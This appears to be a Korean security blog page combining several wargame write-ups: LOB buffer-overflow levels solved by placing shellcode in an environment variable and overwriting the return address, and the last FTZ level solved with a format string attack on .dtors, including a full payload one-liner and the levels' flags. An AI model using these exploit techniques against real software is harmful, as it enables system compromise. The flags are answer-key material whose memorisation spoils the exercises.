코드를 보면 버퍼의 크기가 작아졌다. 따라서 25바이트 쉘코드를 그대로 때려넣는 방법은 사용하지 못한다.

그래서 이런 문제들은 환경변수를 사용해 쉘코드의 주소를 가지고 풀이를 할 것이다.

gdb로 까보아도, 16바이트를 주고 있다. 따라서 dummy는 없다는 것을 알 수있다.

| buffer(16) | sfp(4) | ret(4) |

이러한 스택 구조를 띄고 있다.

총 20바이트와 4바이트의 주소값을 넣어주면 bof가 일어난다.

먼저 환경변수부터 만들어 준다.

그 후 SHELLCODE의 주소 알아낸다

SHELLCODE의 주소는 0xbffff32b 이므로

리틀엔디언 방식으로 바꾸어 \x2b\xf3\xff\xbf 로 만들 수 있다.

그냥 buffer부터 ret까지 24바이트를 전부 주소를 넣기로 했다. 다른 것을 넣어 20바이트를 채워주고 ret에 쉘코드의 주소값만 들어가면 무엇이 들어가도 무방하다.

Flag : hacking exposed

'IT > LOB' 카테고리의 다른 글

[LOB] wolfman  (0) 2016.07.17
[LOB] orc  (0) 2016.07.17
[LOB] goblin  (0) 2016.07.17
[LOB] cobolt  (0) 2016.07.12
[LOB] gate  (0) 2016.07.11

코드를 보면, 버퍼의크기를 256바이트로 지정해주고 있고,

argc가 2보다 작으면 argv error 를 출력하고 종료를 해주고 있다.


gdb로 까보면 버퍼는 0x100 = 256바이트이므로 Dummy는 없는것 같다.

따라서 | buffer(256) | sfp(4) | ret(4) |

이러한 스택구조를 가지고 있다.

그냥 buffer에 때려박아도 되지만 환경변수를 이용해서 풀자면,

위의코드를 짜서 환경변수의 주소를 알아낼것이다

넉넉히 nop을 3000개로 잡아주고 환경변수를 등록 후, 아까 짠 프로그램을 실행 하면, SHELLCODE의 주소가 나온다.

따라서 | \x90*260 | SHELLCODE's Adr |

과 같은 방법으로 넣어준다.


Flag : hello bof world

'IT > LOB' 카테고리의 다른 글

[LOB] wolfman  (0) 2016.07.17
[LOB] orc  (0) 2016.07.17
[LOB] goblin  (0) 2016.07.17
[LOB] cobolt  (0) 2016.07.12
[LOB] gremlin  (0) 2016.07.12

http://proneer.tistory.com/entry/FormatString-%ED%8F%AC%EB%A7%B7%EC%8A%A4%ED%8A%B8%EB%A7%81Format-String-Attack


이곳을 참조해서 공부하였습니당



마지막문제이다. bleh라는 배열을 80바이트 선언해주고 있다. 또한 79바이트 이하로만 입력받고 있다.

bof를 시도해봤지만 bof도 통하지 않는다. 이 문제를 풀려면 "포멧스트링버그"를 이용해서 풀어야 한다.

설명은 생략하고 위의 문서를 첨부하였다.

dtors를 구하고, 08049594+4에 쉘코드를 넣으면 된다.

또한 쉘코드 주소를 2바이트씩 나눠 10진수로 저장한다

>>> 0xfdda-8

64978

>>> 0xbfff - 0xfdda

-15835

>>> 0x1bfff-0xfdda

49701

(python -c 'print "\x98\x95\x04\x08\x9a\x95\x04\x08%64978x%4$hn%49701x%5$hn"' ; cat) | ./attackme

Flag : i will come in a minute

'IT > FTZ' 카테고리의 다른 글

[FTZ] level19  (0) 2016.07.10
[FTZ] level18  (0) 2016.07.10
[FTZ] level17  (0) 2016.07.10
[FTZ] level16  (0) 2016.07.10
[FTZ] level15  (0) 2016.07.10

+ Recent posts